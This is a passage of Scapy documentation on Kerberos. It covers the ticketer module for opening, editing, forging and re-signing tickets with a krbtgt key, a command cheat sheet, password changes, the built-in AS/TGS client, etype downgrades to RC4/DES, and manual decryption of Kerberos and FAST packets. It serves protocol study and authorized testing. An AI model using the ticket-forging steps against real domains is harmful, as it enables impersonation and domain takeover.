BooAPm9/kYAGYWIE/0sYqb9JVJe6DfDfy7iaXmQ8YGN2ZzV/zx2XtCQkDqdfzw0muxWQVRB/gNG8 aCyQV/IqPvX7D1CtswupdbJQadOTv36yUi8jCRKsHmS7qTyRqnYKuxIJuxMT443d68rDJdJ775nW YEXAl5m3ECCkT2S7tZxAVEkwT9lbjWvcbRfkdsuhiPMK0Eu2yR2RsCiwlTmGkpqftCsh9zAoyLof QWxwYwAAAAAAAAABAAAAAQAAAAxET01BSU4uTE9DQUwAAAANQWRtaW5pc3RyYXRvcgAAAAAAAAAD AAAADFgtQ0FDSEVDT05GOgAAABVrcmI1X2NjYWNoZV9jb25mX2RhdGEAAAAHcGFfdHlwZQAAACBr cmJ0Z3QvRE9NQUlOLkxPQ0FMQERPTUFJTi5MT0NBTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAATIAAAAA EOF .. code:: pycon >>> load_module("ticketer") >>> t = Ticketer() >>> t.open_ccache("krb.ccache") >>> t.show() Tickets: 1. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL >>> t.edit_ticket(0) Enter the NT hash (AES-256) for this ticket (as hex): 6df5a9a90cb076f4d232a123d9c24f46ae11590a5430710bc1881dca337989ce >>> t.resign_ticket(0) >>> t.save_ccache() 1660 >>> # Other stuff you can do >>> tkt = t.dec_ticket(0) >>> tkt >>> t.update_ticket(0, tkt) .. figure:: ../graphics/kerberos/ticketer.png :align: center .. note:: Remember to call ``resign_ticket`` to update the Server and KDC checksums in the PAC. Cheat sheet ----------- +---------------------------------------+--------------------------------+ | Command | Description | +=======================================+================================+ | ``load_module("ticketer")`` | Load ticketer++ | +---------------------------------------+--------------------------------+ | ``t = Ticketer()`` | Create a Ticketer object | +---------------------------------------+--------------------------------+ | ``t.open_ccache("/tmp/krb5cc_1000")`` | Open a ccache file | +---------------------------------------+--------------------------------+ | ``t.save_ccache()`` | Save a ccache file | +---------------------------------------+--------------------------------+ | ``t.show()`` | List the tickets | +---------------------------------------+--------------------------------+ | ``t.create_ticket()`` | Forge a ticket | +---------------------------------------+--------------------------------+ | ``dTkt = t.dec_ticket()`` | Decipher a ticket | +---------------------------------------+--------------------------------+ | ``t.update_ticket(, dTkt)`` | Re-inject a deciphered ticket | +---------------------------------------+--------------------------------+ | ``t.edit_ticket()`` | Edit a ticket (GUI) | +---------------------------------------+--------------------------------+ | ``t.resign_ticket()`` | Resign a ticket | +---------------------------------------+--------------------------------+ | ``t.request_tgt(upn, [...])`` | Request a TGT | +---------------------------------------+--------------------------------+ | ``t.request_st(i, spn, [...])`` | Request a ST using ticket i | +---------------------------------------+--------------------------------+ | ``t.renew(i, [...])`` | Renew a TGT/ST | +---------------------------------------+--------------------------------+ | ``t.remove_krb(i)`` | Remove a TGT/ST | +---------------------------------------+--------------------------------+ | ``t.set_primary(i)`` | Set the primary ticket | +---------------------------------------+--------------------------------+ Other useful commands --------------------- To change your own password, you can use the plain ``kpasswd`` command from ``scapy.layers.kerberos``. .. code:: pycon >>> kpasswd("User1@domain.local") Enter password: ********** Enter NEW password: ********* To change the password of someone else, you can also the following. You need to have the rights to do so. You can also use the method from Scapy's Ticketer. .. code:: pycon >>> kpasswd("Administrator@domain.local", "User1@domain.local") Enter password: ********** Enter NEW password: ********* Inner-workings ~~~~~~~~~~~~~~ Behind the scenes, Scapy includes a (tiny) kerberos client, that has basic functionalities such as: AS-REQ ------ .. note:: Full doc at :func:`~scapy.layers.kerberos.krb_as_req`. ``krb_as_req`` actually calls a Scapy automaton that has the following behavior: .. image:: ../graphics/kerberos/kerberos_atmt.png :align: center .. code:: pycon >>> res = krb_as_req("user1@DOMAIN.LOCAL", password="Password1") This is what it looks like with wireshark: .. image:: ../graphics/kerberos/wireshark_asreq.png :align: center The result is a named tuple with both the full AP-REP and the decrypted session key: .. code:: pycon >>> res.asrep.show() ###[ KRB_AS_REP ]### pvno = 0x5 msgType = 'AS-REP' 0xb \padata \ |###[ PADATA ]### | padataType= 'PA-ETYPE-INFO2' 0x13 | \padataValue\ | |###[ ETYPE_INFO2 ]### | | \seq \ | | |###[ ETYPE_INFO_ENTRY2 ]### | | | etype = 'AES-256' 0x12 | | | salt = | | | s2kparams = None crealm = [...] >>> res.sessionkey.toKey() Some more examples: **Enforce RC4:** .. code:: pycon >>> from scapy.libs.rfc3961 import EncryptionType >>> res = krb_as_req("user1@DOMAIN.LOCAL", etypes=[EncryptionType.RC4_HMAC]) **Ask for a DES_CBC_MD5 sessionkey:** .. code:: pycon >>> from scapy.libs.rfc3961 import EncryptionType >>> res = krb_as_req("user1@DOMAIN.LOCAL", etypes=[EncryptionType.DES_CBC_MD5, EncryptionType.RC4_HMAC]) TGS-REQ ------- .. note:: Full doc at :func:`~scapy.layers.kerberos.krb_tgs_req`. ``krb_tgs_req`` actually calls a Scapy automaton. **Ask for a ST:** Let's reuse the TGT and session key we got in the AS-REQ: .. code:: pycon >>> krb_tgs_req("user1@DOMAIN.LOCAL", "host/DC1", sessionkey=res.sessionkey, ticket=res.asrep.ticket) .. note:: There is also a :func:`~scapy.layers.kerberos.krb_as_and_tgs` function that does an AS-REQ then a TGS-REQ:: >>> krb_as_and_tgs("user1@DOMAIN.LOCAL", "host/DC1", password="Password1") Other things you can do: **Renew a TGT:** .. code:: pycon >>> krb_tgs_req("user1@DOMAIN.LOCAL", "krbtgt/DOMAIN.LOCAL", sessionkey=res.sessionkey, ticket=res.asrep.ticket, renew=True) **Renew a ST:** .. note:: For some mysterious reason, this is rarely implemented in other tools. .. code:: pycon >>> res2 = krb_tgs_req("user1@DOMAIN.LOCAL", "host/DC1", sessionkey=res.sessionkey, ticket=res.asrep.ticket) >>> krb_tgs_req("user1@DOMAIN.LOCAL", "host/DC1", sessionkey=res2.sessionkey, ticket=res2.tgsrep.ticket, renew=True) KerberosSSP ~~~~~~~~~~~ For Kerberos, the Scapy SSP is implemented in :class:`~scapy.layers.kerberos.KerberosSSP`. You can typically use it in :class:`~scapy.layers.smbclient.SMB_Client`, :class:`~scapy.layers.smbserver.SMB_Server`, :class:`~scapy.layers.msrpce.rpcclient.DCERPC_Client` or :class:`~scapy.layers.msrpce.rpcserver.DCERPC_Server`. .. note:: Remember that you can wrap it in a :class:`~scapy.layers.spnego.SPNEGOSSP` See `GSSAPI `_ for usage examples. Decrypt kerberos packets manually ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .. note:: This section is useful to understand the inner workings of Kerberos, but isn't necessary to use Scapy's implementation. Kerberos packets contain encrypted content, let's take the following packet: .. code:: pycon >>> pkt = Ether(b"RT\x00iX\x13RT\x00!l+\x08\x00E\x00\x01]\xa7\x18@\x00\x80\x06\xdc\x83\xc0\xa8z\x9c\xc0\xa8z\x11\xc2\t\x00XT\xf6\xab#\x92\xc2[\xd6P\x18 \x14\xb6\xe0\x00\x00\x00\x00\x011j\x82\x01-0\x82\x01)\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa3c0a0L\xa1\x03\x02\x01\x02\xa2E\x04C0A\xa0\x03\x02\x01\x12\xa2:\x048HHM\xec\xb0\x1c\x9bb\xa1\xca\xbf\xbc?-\x1e\xd8Z\xa5\xe0\x93\xba\x83X\xa8\xce\xa3MC\x93\xaf\x93\xbf!\x1e'O\xa5\x8e\x81Hx\xdb\x9f\rz(\xd9Ns'f\r\xb4\xf3pK0\x11\xa1\x04\x02\x02\x00\x80\xa2\t\x04\x070\x05\xa0\x03\x01\x01\xff\xa4\x81\xb70\x81\xb4\xa0\x07\x03\x05\x00@\x81\x00\x10\xa1\x120\x10\xa0\x03\x02\x01\x01\xa1\t0\x07\x1b\x05win1$\xa2\x0e\x1b\x0cDOMAIN.LOCAL\xa3!0\x1f\xa0\x03\x02\x01\x02\xa1\x180\x16\x1b\x06krbtgt\x1b\x0cDOMAIN.LOCAL\xa5\x11\x18\x0f20370913024805Z\xa6\x11\x18\x0f20370913024805Z\xa7\x06\x02\x04p\x1c\xc5\xd1\xa8\x150\x13\x02\x01\x12\x02\x01\x11\x02\x01\x17\x02\x01\x18\x02\x02\xffy\x02\x01\x03\xa9\x1d0\x1b0\x19\xa0\x03\x02\x01\x14\xa1\x12\x04\x10WIN1 ") >>> pkt[TCP].payload.show() ###[ KerberosTCPHeader ]### len = 305 ###[ Kerberos ]### \root \ |###[ KRB_AS_REQ ]### | pvno = 0x5 | msgType = 'AS-REQ' 0xa | \padata \ | |###[ PADATA ]### | | padataType= 'PA-ENC-TIMESTAMP' 0x2 | | \padataValue\ | | |###[ EncryptedData ]### | | | etype = 'AES-256' 0x12 | | | kvno = None | | | cipher = | |###[ PADATA ]### | | padataType= 'PA-PAC-REQUEST' 0x80 | | \padataValue\ | | |###[ PA_PAC_REQUEST ]### | | | includePac= True | \reqBody \ | |###[ KRB_KDC_REQ_BODY ]### | | kdcOptions= forwardable, renewable, canonicalize, renewable-ok | | \cname \ | | |###[ PrincipalName ]### | | | nameType = 'NT-PRINCIPAL' 0x1 | | | nameString= [] | | realm = | | \sname \ | | |###[ PrincipalName ]### | | | nameType = 'NT-SRV-INST' 0x2 | | | nameString= [, ] | | from = None | | till = 2037-09-13 02:48:05 UTC | | rtime = 2037-09-13 02:48:05 UTC | | nonce = 0x701cc5d1 | | etype = [0x12 , 0x11 , 0x17 , 0x18 , -0x87 , 0x3 ] | | \addresses \ | | |###[ HostAddress ]### | | | addrType = 'NetBios' 0x14 | | | address = | | encAuthorizationData= None | | additionalTickets= None You likely want to decrypt ``pkt.root.padata[0].padataValue`` which is an :class:`~scapy.layers.kerberos.EncryptedData` packet. To do so, we need the :class:`~scapy.libs.rfc3961.Key` class. .. code:: pycon >>> from scapy.libs.rfc3961 import Key, EncryptionType >>> enc = pkt[Kerberos].root.padata[0].padataValue >>> k = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex("7fada4e566ae4fb270e2800a23ae87127a819d42e69b5e22de0ddc63da80096d")) The first parameter of the :class:`~scapy.libs.rfc3961.Key` constructor is a value from :class:`~scapy.libs.rfc3961.EncryptionType`, in this case ``EncryptionType.AES256_CTS_HMAC_SHA1_96``. This is the same value than ``enc.etype.val``, which allows to know which key to use. We can then proceed to perform the decryption: .. code:: pycon >>> enc.decrypt(k) pausec=0x9a4db |> Compute Kerberos keys ~~~~~~~~~~~~~~~~~~~~~ .. note:: Encryption for Kerberos 5 is defined in `RFC3961 `_ You may want to compute a Kerberos key from a password + salt. There is an API for that described in RFC3961 as "string-to-key". Our implementation is a class method as follow: .. function:: Key.string_to_key(etype, string, salt, params=None) Compute the kerberos key for a certain encryption type. :param int etype: The EncryptionType to use. May be any value from :class:`~scapy.libs.rfc3961.EncryptionType` :param bytes string: The "string" bytes to use. This is the user password in almost all well-used cases. They must be passed as bytes. :param bytes salt: The salt bytes to use. What value to use depends if you are considering a MACHINE account or a USER account, for the latter, it's just ``the concatenation of the principal's realm and name components, in order, with no separators.`` (RFC4120 sect 4) :param bytes params: The opaque "parameter" used by string-to-key. The RFC defines this field in a very general manner but it is basically only used in AES, in which it is the iteration count as a big-endian int (``struct.pack(">L", 4096)`` by default) Let's run a few examples: .. code:: pycon >>> # Get the AES256 key for User1@DOMAIN.LOCAL with "Password1" >>> from scapy.libs.rfc3961 import Key, EncryptionType >>> Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA1_96, b"Password1", b"DOMAIN.LOCALUser1") >>> print(_.key) b'm\x07H\xc5F\xf4\xe9\x92\x05\xe7\x8f\x8d\xa7h\x1dN\xc5R\n\xe4\x81UCr\x0c*d|\x1a\xe8\x14\xc9' .. note:: The following example is from https://datatracker.ietf.org/doc/html/rfc3962#appendix-B .. code:: pycon >>> # Get the AES128 key for raeburn@ATHENA.MIT.EDU with "password", with an iteration count of 1200 >>> k = Key.string_to_key(EncryptionType.AES128_CTS_HMAC_SHA1_96, b"password", b"ATHENA.MIT.EDUraeburn", struct.pack(">L", 1200)) >>> print(k.key.hex()) '4c01cd46d632d01e6dbe230a01ed642a' Decrypt FAST manually ~~~~~~~~~~~~~~~~~~~~~ .. note:: This section is useful to understand the inner workings of Kerberos FAST, but FAST can simply be used in :class:`~scapy.modules.ticketer.Ticketer` through the ``armor_with`` parameter when performing either a ASREQ or TGSREQ. For more details related to how FAST works, have a look at `RFC6113 `_. Let's take a Kerberos AS-REQ packet with FAST armoring (RFC6113): .. figure:: ../graphics/kerberos/as_req_fast.png :align: center FAST armoring in AS-REQ. Credit to `this paper by A. Bordes `_. .. code:: pycon >>> pkt = Ether(bytes.fromhex(b'52540013d0835254003ea3be08004502089636a1400080063ad3c0a87fd2c0a87fc8fecc0058eea93069573b278e50180402897400000000086a6a82086630820862a103020105a20302010aa38207a23082079e3082079aa10402020088a28207900482078ca082078830820784a082064a30820646a003020101a182063d048206396e82063530820631a003020105a10302010ea20703050000000000a38205796182057530820571a003020105a10c1b0a444f4d312e4c4f43414ca21f301da003020102a11630141b066b72627467741b0a444f4d312e4c4f43414ca382053930820535a003020112a103020102a282052704820523acc8b7671c0d50522f1a8d8452ce450aceb40fff0229e8ee546bccf1512e4877ef93dde465595260a6a5a8e85ea38600ce8dff7d510f3c744e2c43eb9d3187d638f716c29b6e7aa9eb407de28d0161f49013966eda0a161ff174dad42e7aa500cfe298541215448013ffe4883b6b1166f908f50de129487fe77fff874fd4102cdcce8db8dbeb8da02f08cc88b3790cdad5ec499959c7e79d6fef107d1e17ce80cc3df050b7e7a1c31f278e4fd4ea9523c950876f174be363234f8495b9550de1560ba17daeafbf133f78991053d929ad3fd668327d42288e6581671daaef908682ee282e17c31d8f8bb55d27fce155ee2e84a2ff8bc9600891be15e6ede3e1bbd2742a7af8b0a32c48973c9e3776a69647bab11592756c5a15b9101c392efa35d000abb3dabccd97e64426e3fd8d47e0e369c83b5391f38947d536d351c061081d654eef1a3861cdb2ea2bc48222b450d1b7d09c0670493bccc60dfcaa5cfe46fd50adf8e388204a4691dc5f0c3dbae0b4da6ac2dd781f149a444840aaa3a3c3befb5a5c04ee0405baed66afcf9b988d10ea14a955f43df79465e6fc02a12bce3870988950f1ab48e1a4f876f351671c5061e6399a63cb0479f7bd017dfd9bc5be192faf6d4f11e6ee6003933eeaf632f0056c4c1ccd183d7977cfca85419fe5b039674419d802068e792c9576ae2a88bfbeb1f59273226782c6efb288717d8f7a4bc3bf4c697fcac1adc1829f0a914f2559b278ccadd108eb87a11dacc88e4302e9af627474e57171192b94c6b358f8f98e308596215d2fb9d9c2b49c4cbedcb43fc231b86f0493d56b82962cf3383a84f8922c2b99f8fa8fdd85797b09a6e60f72007c0379988be2ff1cfc16f21300c1b4b784174005a9185f760e68ef94b9384eb24decee31b63d1b92278cd75b85d4d80c4e83306533a9d95aa6207cbfbeb0970a41c44aba59839f007923ecd8ff0de8314990a435dbea4dedbee16faf5ab2be9f96d691cfa983a6c843bd183f84c1b4998a3eaa907cae6b82b0ae8363f3edd8cb03d3c9c60ff55a84d8a292ea20555fbd6ce5ad4ad7a6b4bc5bff2e02c477a7a8a98d5a387d389caa172c400b151d95871b2aa16a040dc71a9be5f0774b06a5ca87674ccb4109a2c41db9e3160704218ad495d0751194fbef4becae4d7be24b9d968da592256a2b22cf724e989e71a60d0603b59bebd475285f793794b7a18af49a2b68670e3a6247c453274e35c863a16b5023c6c94659e25abb27c760f989ac0bbf9a5b125d0ea34fb03225cc93d5b8b6829e906883ee76cf8ee61dfacc488e8dc5cbc8ba9705a9e915a68f838232394f97fb1aac4a2a90fe17d46f9c51946a2bf9598df7f5b5e7ee692a78860eea3cef748a5be36529228e40b4aec83ebc8bb14176a4c565b06500e9517229b8340c55812101dbbc6bee693c35873082a5a1a53b35cf3509193d4dc5175c9360a00da71692ba205b3264aecc9ecc8bca31fec43efc8701423bb484f6f21699439dd30f71228f16eaab96b7de3547721d1635bbfe50678900ac378a4958b6c34964f3e0dc843880dbde57fb4a76ab85eba2b190bfdaefc7ba17e109f839493b0f2d6fc7ea17403bebe06f2809314ca514606f54668082364ed6752019f27e1df74f93fcf1c25630a29713a89d4a998c444bc91279c6fc66e0aa5dec72be316e1160cf9f90d5915c464b6bfec5216e901be4726db596a15745511c63736a69ac9ecb9e86601c631b4992653c320e6983562fa613134560cb606621e9661ac5961313ee70868ab48d6010173d8a96fffdb2baf4afe18c846d3fed6f30b9a809d72e647735fc536edec543abc232480d28660395a4819e30819ba003020112a281930481901273d5af61ad426d51d0757e897917caeb6fc1b6950554e8d750f95d27f444e3aaf7ae0bf4595b5e906d9682dbdeedcf6eb42a84ab8092997b783f57710127228165deeb2ce5e09e2ddc71555dc31970a8312d888b8ae766382098276d62b4bd76f34cbc889e24ad5405ec037ceb724fdb71fe247fe2a414a037ed33c796f4475fcfb5993eed147b6d63d740d58da5b0a1173015a003020110a10e040c75f02d8d2954e0ae1a9e0653a282011930820115a003020112a282010c04820108ae9bbc4629c80f4a383a69c4583824295c75f34b000b3fdbdaab073a042935e32c29e0ee2b2b446e4a6a2592362d0d593cddd74dacc24f16353776e1b5d192ad1cf5e63f66f40a134ecb87c077c30922bc0cab00ae23d187d56090d9098f843c54fabe7c012ff87e317dfe339c40911264609d489b041a4e9b52c0eb03ee88a393d17da92786bd1716b92eb0d7a5a24a64ade0870dea8a7e138acdf209ee277cb3fadeedab173fd64cc10a1004010774658b94852639bda10a5e8aff29174e3d2c7032c32631b074afdac0e6832bae74de9be19e522f63bc8499753a209291fee1861c29096cc8ee3cfda5be235b0aa95635916edcfcdaf90b896e2eaa5a57d5e4da0b00408f4201a481af3081aca00703050040810010a11a3018a003020101a111300f1b0d61646d2d302d66617374656e62a2061b04444f4d31a3193017a003020102a110300e1b066b72627467741b04444f4d31a511180f32303337303931333032343830355aa611180f32303337303931333032343830355aa70602043f58a7a0a81530130201120201110201170201180202ff79020103a91d301b3019a003020114a112041053525620202020202020202020202020')) >>> pkt[TCP].payload.show() ###[ KerberosTCPHeader ]### len = 2154 ###[ Kerberos ]### \root \ |###[ KRB_AS_REQ ]### | pvno = 0x5 | msgType = 'AS-REQ' 0xa | \padata \ | |###[ PADATA ]### | | padataType= 'PA-FX-FAST' 0x88 | | \padataValue\ | | |###[ PA_FX_FAST_REQUEST ]### | | | \armoredData\ | | | |###[ KrbFastArmoredReq ]### | | | | \armor \ | | | | |###[ KrbFastArmor ]### | | | | | armorType = 'FX_FAST_ARMOR_AP_REQUEST' 0x1 | | | | | \armorValue\ | | | | | |###[ KRB_AP_REQ ]### | | | | | | pvno = 0x5 | | | | | | msgType = 'AP-REQ' 0xe | | | | | | apOptions = | | | | | | \ticket \ | | | | | | |###[ KRB_Ticket ]### | | | | | | | tktVno = 0x5 | | | | | | | realm = | | | | | | | \sname \ | | | | | | | |###[ PrincipalName ]### | | | | | | | | nameType = 'NT-SRV-INST' 0x2 | | | | | | | | nameString= [, ] | | | | | | | \encPart \ | | | | | | | |###[ EncryptedData ]### | | | | | | | | etype = 'AES-256' 0x12 | | | | | | | | kvno = 0x2 | | | | | | | | cipher = \xea\xf62\xf0\x05lL\x1c\xcd\x18=yw\xcf\xca\x85A\x9f\xe5\xb09gD\x19\xd8\x02\x06\x8ey,\x95v\xae*\x88\xbf\xbe\xb1\xf5\x92s"g\x82\xc6\xef\xb2\x88q}\x8fzK\xc3\xbfLi\x7f\xca\xc1\xad\xc1\x82\x9f\n\x91O%Y\xb2x\xcc\xad\xd1\x08\xeb\x87\xa1\x1d\xac\xc8\x8eC\x02\xe9\xafbtt\xe5qq\x19+\x94\xc6\xb3X\xf8\xf9\x8e0\x85\x96!]/\xb9\xd9\xc2\xb4\x9cL\xbe\xdc\xb4?\xc21\xb8o\x04\x93\xd5k\x82\x96,\xf38:\x84\xf8\x92,+\x99\xf8\xfa\x8f\xdd\x85y{\t\xa6\xe6\x0fr\x00|\x03y\x98\x8b\xe2\xff\x1c\xfc\x16\xf2\x13\x00\xc1\xb4\xb7\x84\x17@\x05\xa9\x18_v\x0eh\xef\x94\xb98N\xb2M\xec\xee1\xb6=\x1b\x92\'\x8c\xd7[\x85\xd4\xd8\x0cN\x830e3\xa9\xd9Z\xa6 |\xbf\xbe\xb0\x97\nA\xc4J\xbaY\x83\x9f\x00y#\xec\xd8\xff\r\xe81I\x90\xa45\xdb\xeaM\xed\xbe\xe1o\xafZ\xb2\xbe\x9f\x96\xd6\x91\xcf\xa9\x83\xa6\xc8C\xbd\x18?\x84\xc1\xb4\x99\x8a>\xaa\x90|\xaek\x82\xb0\xae\x83c\xf3\xed\xd8\xcb\x03\xd3\xc9\xc6\x0f\xf5Z\x84\xd8\xa2\x92\xea U_\xbdl\xe5\xadJ\xd7\xa6\xb4\xbc[\xff.\x02\xc4w\xa7\xa8\xa9\x8dZ8}8\x9c\xaa\x17,@\x0b\x15\x1d\x95\x87\x1b*\xa1j\x04\r\xc7\x1a\x9b\xe5\xf0wK\x06\xa5\xca\x87gL\xcbA\t\xa2\xc4\x1d\xb9\xe3\x16\x07\x04!\x8a\xd4\x95\xd0u\x11\x94\xfb\xefK\xec\xaeM{\xe2K\x9d\x96\x8d\xa5\x92%j+"\xcfrN\x98\x9eq\xa6\r\x06\x03\xb5\x9b\xeb\xd4u(_y7\x94\xb7\xa1\x8a\xf4\x9a+hg\x0e:bG\xc4S\'N5\xc8c\xa1kP#\xc6\xc9FY\xe2Z\xbb\'\xc7`\xf9\x89\xac\x0b\xbf\x9a[\x12]\x0e\xa3O\xb02%\xcc\x93\xd5\xb8\xb6\x82\x9e\x90h\x83\xeev\xcf\x8e\xe6\x1d\xfa\xccH\x8e\x8d\xc5\xcb\xc8\xba\x97\x05\xa9\xe9\x15\xa6\x8f\x83\x8229O\x97\xfb\x1a\xacJ*\x90\xfe\x17\xd4o\x9cQ\x94j+\xf9Y\x8d\xf7\xf5\xb5\xe7\xeei*x\x86\x0e\xea<\xeft\x8a[\xe3e)"\x8e@\xb4\xae\xc8>\xbc\x8b\xb1Av\xa4\xc5e\xb0e\x00\xe9Qr)\xb84\x0cU\x81!\x01\xdb\xbck\xeei<5\x870\x82\xa5\xa1\xa5;5\xcf5\t\x19=M\xc5\x17\\\x93`\xa0\r\xa7\x16\x92\xba [2d\xae\xcc\x9e\xcc\x8b\xca1\xfe\xc4>\xfc\x87\x01B;\xb4\x84\xf6\xf2\x16\x99C\x9d\xd3\x0fq"\x8f\x16\xea\xab\x96\xb7\xde5Gr\x1d\x165\xbb\xfePg\x89\x00\xac7\x8aIX\xb6\xc3Id\xf3\xe0\xdc\x848\x80\xdb\xdeW\xfbJv\xab\x85\xeb\xa2\xb1\x90\xbf\xda\xef\xc7\xba\x17\xe1\t\xf89I;\x0f-o\xc7\xea\x17@;\xeb\xe0o(\t1L\xa5\x14`oTf\x80\x826N\xd6u \x19\xf2~\x1d\xf7O\x93\xfc\xf1\xc2V0\xa2\x97\x13\xa8\x9dJ\x99\x8cDK\xc9\x12y\xc6\xfcf\xe0\xaa]\xecr\xbe1n\x11`\xcf\x9f\x90\xd5\x91\\FKk\xfe\xc5!n\x90\x1b\xe4rm\xb5\x96\xa1WEQ\x1ccsji\xac\x9e\xcb\x9e\x86`\x1cc\x1bI\x92e<2\x0ei\x83V/\xa6\x13\x13E`\xcb`f!\xe9f\x1a\xc5\x96\x13\x13\xeep\x86\x8a\xb4\x8d`\x10\x17=\x8a\x96\xff\xfd\xb2\xba\xf4\xaf\xe1\x8c\x84m?\xedo0\xb9\xa8\t\xd7.dw5\xfcSn\xde\xc5C\xab\xc22H\r(f\x03\x95']> | | | | | | \authenticator\ | | | | | | |###[ EncryptedData ]### | | | | | | | etype = 'AES-256' 0x12 | | | | | | | kvno = None | | | | | | | cipher = \xed\x14{mc\xd7@\xd5\x8d\xa5\xb0']> | | | | checksumtype= 'HMAC-SHA1-96-AES256' 0x10 | | | | checksum = | | | | \encFastReq\ | | | | |###[ EncryptedData ]### | | | | | etype = 'AES-256' 0x12 | | | | | kvno = None | | | | | cipher = | \reqBody \ | |###[ KRB_KDC_REQ_BODY ]### | | kdcOptions= forwardable, renewable, canonicalize, renewable-ok | | \cname \ | | |###[ PrincipalName ]### | | | nameType = 'NT-PRINCIPAL' 0x1 | | | nameString= [] | | realm = | | \sname \ | | |###[ PrincipalName ]### | | | nameType = 'NT-SRV-INST' 0x2 | | | nameString= [, ] | | from = None | | till = 2037-09-13 02:48:05 UTC | | rtime = 2037-09-13 02:48:05 UTC | | nonce = 0x3f58a7a0 | | etype = [0x12 , 0x11 , 0x17 , 0x18 , -0x87 , 0x3 ] | | \addresses \ | | |###[ HostAddress ]### | | | addrType = 'NetBios' 0x14 | | | address = | | encAuthorizationData= None | | additionalTickets= None There are 3 encrypted payloads: - ``pkt.root.padata[0].padataValue.armoredData.armor.armorValue.ticket.encPart``, encrypted using the KRBTGT - ``pkt.root.padata[0].padataValue.armoredData.armor.armorValue.authenticator``, encrypted using the ticket session key (that the clients gets from the first AS-REQ, and that that is also included in tickets for the server to use) - ``pkt.root.padata[0].padataValue.armoredData.encFastReq``, encrypted using using the armor key We have the krbtgt for this demo: .. code:: pycon >>> from scapy.libs.rfc3961 import Key, EncryptionType >>> krbtgt_hex = "ac67a63d7155791fe31dace230ab516e818c453dfdbd44cbe691b240725c4907" >>> krbtgt = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(krbtgt_hex)) We can therefore decrypt the first payload: .. code:: pycon >>> enc = pkt.root.padata[0].padataValue.armoredData.armor.armorValue.ticket.encPart >>> encticketpart = enc.decrypt(krbtgt) >>> encticketpart.show() ###[ EncTicketPart ]### flags = forwardable, renewable, initial, pre-authent \key \ |###[ EncryptionKey ]### | keytype = 'AES-256' 0x12 | keyvalue = B\xd8)m/G\x82B;\x9f+\x86\xcd\xcd\xf4\x05']> crealm = \cname \ |###[ PrincipalName ]### | nameType = 'NT-PRINCIPAL' 0x1 | nameString= [] \transited \ |###[ TransitedEncoding ]### | trType = 0x0 | contents = authtime = 2022-07-12 23:02:25 UTC starttime = 2022-07-12 23:02:25 UTC endtime = 2022-07-13 09:02:25 UTC renewTill = 2022-07-19 23:02:25 UTC addresses = None [...] We can see the ticket session key in there, let's retrieve it and build a :class:`~scapy.libs.rfc3961.Key` object: .. note:: We use the ``.toKey()`` function in the ``EncryptedKey`` type which is a shorthand for ``Key(, key=)`` .. code:: pycon >>> ticket_session_key = encticketpart.key.toKey() >>> ticket_session_key.key b'\xe3\xa2\x0f\x8e\xb2\xe1*\xe0\x7f\x86\xcc\x88\xe6,\x08>B\xd8)m/G\x82B;\x9f+\x86\xcd\xcd\xf4\x05' We can now decrypt the second payload: .. code:: pycon >>> enc = pkt.root.padata[0].padataValue.armoredData.armor.armorValue.authenticator >>> authenticator = enc.decrypt(ticket_session_key) >>> authenticator.show() ###[ KRB_Authenticator ]### authenticatorPvno= 0x5 crealm = \cname \ |###[ PrincipalName ]### | nameType = 'NT-PRINCIPAL' 0x1 | nameString= [] checksumtype= 0x0 checksum = cusec = 0x3c ctime = 2022-07-12 23:54:37 UTC \subkey \ |###[ EncryptionKey ]### | keytype = 'AES-256' 0x12 | keyvalue = seqNumber = 0x0 encAuthorizationData= None Again, we see inside this the subkey that is used to compute the armor key. We get it: .. code:: pycon >>> subkey = authenticator.subkey.toKey() >>> subkey.key b'%\xa4n\xe1\xd0\xf5\x8d\xc4\x8d\xecv\xe8\x9c\xd3\xc9\xee\x1bu\xc9\xa5\xa6\xf8\x83f\x98\xa1\xd9\xe7*I\x9b\xf8' Following `RFC6113 sect 5.4.1.1 `_, we can now compute the armor key using: .. code:: pycon >>> from scapy.libs.rfc3961 import KRB_FX_CF2 >>> armorkey = KRB_FX_CF2(subkey, ticket_session_key, b"subkeyarmor", b"ticketarmor") >>> print(armorkey.key) b'\x9f\x18L]I\x16\xd0\xe5\xa6\xd9\x92+\xbf\xbc\xe0\n\xd1\xcb6\xf3\xd1.C\xc2\xdcp\xf0H(\x99\x14\x80' That we can now use to decrypt the last payload: .. code:: pycon >>> enc = pkt.root.padata[0].padataValue.armoredData.encFastReq >>> krbfastreq = enc.decrypt(armorkey) >>> krbfastreq.show() ###[ KrbFastReq ]### fastOptions= \padata \ |###[ PADATA ]### | padataType= 'PA-PAC-REQUEST' 0x80 | \padataValue\ | |###[ PA_PAC_REQUEST ]### | | includePac= True |###[ PADATA ]### | padataType= 'PA-PAC-OPTIONS' 0xa7 | \padataValue\ | |###[ PA_PAC_OPTIONS ]### | | options = Claims \reqBody \ |###[ KRB_KDC_REQ_BODY ]### | kdcOptions= forwardable, renewable, canonicalize, renewable-ok | \cname \ | |###[ PrincipalName ]### | | nameType = 'NT-PRINCIPAL' 0x1 | | nameString= [] | realm = | \sname \ | |###[ PrincipalName ]### | | nameType = 'NT-SRV-INST' 0x2 | | nameString= [, ] | from = None | till = 2037-09-13 02:48:05 UTC | rtime = 2037-09-13 02:48:05 UTC | nonce = 0x3f58a7a0 | etype = [0x12 , 0x11 , 0x17 , 0x18 , -0x87 , 0x3 ] | \addresses \ | |###[ HostAddress ]### | | addrType = 'NetBios' 0x14 | | address = | encAuthorizationData= None | additionalTickets= None Manually using Kerberos encryption ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A :func:`~scapy.libs.rfc3961.Key.encrypt` function exists in the :class:`~scapy.libs.rfc3961.Key` object in order to do the opposite of :func:`~scapy.libs.rfc3961.Key.decrypt`. For instance, during pre-authentication, encode ``PA-ENC-TIMESTAMP``: .. code:: pycon >>> from datetime import datetime >>> from scapy.libs.rfc3961 import Key, EncryptionType >>> # Create the PADATA layer with its EncryptedValue >>> pkt = PADATA(padataType=0x2, padataValue=EncryptedData()) >>> # Compute the key >>> key = 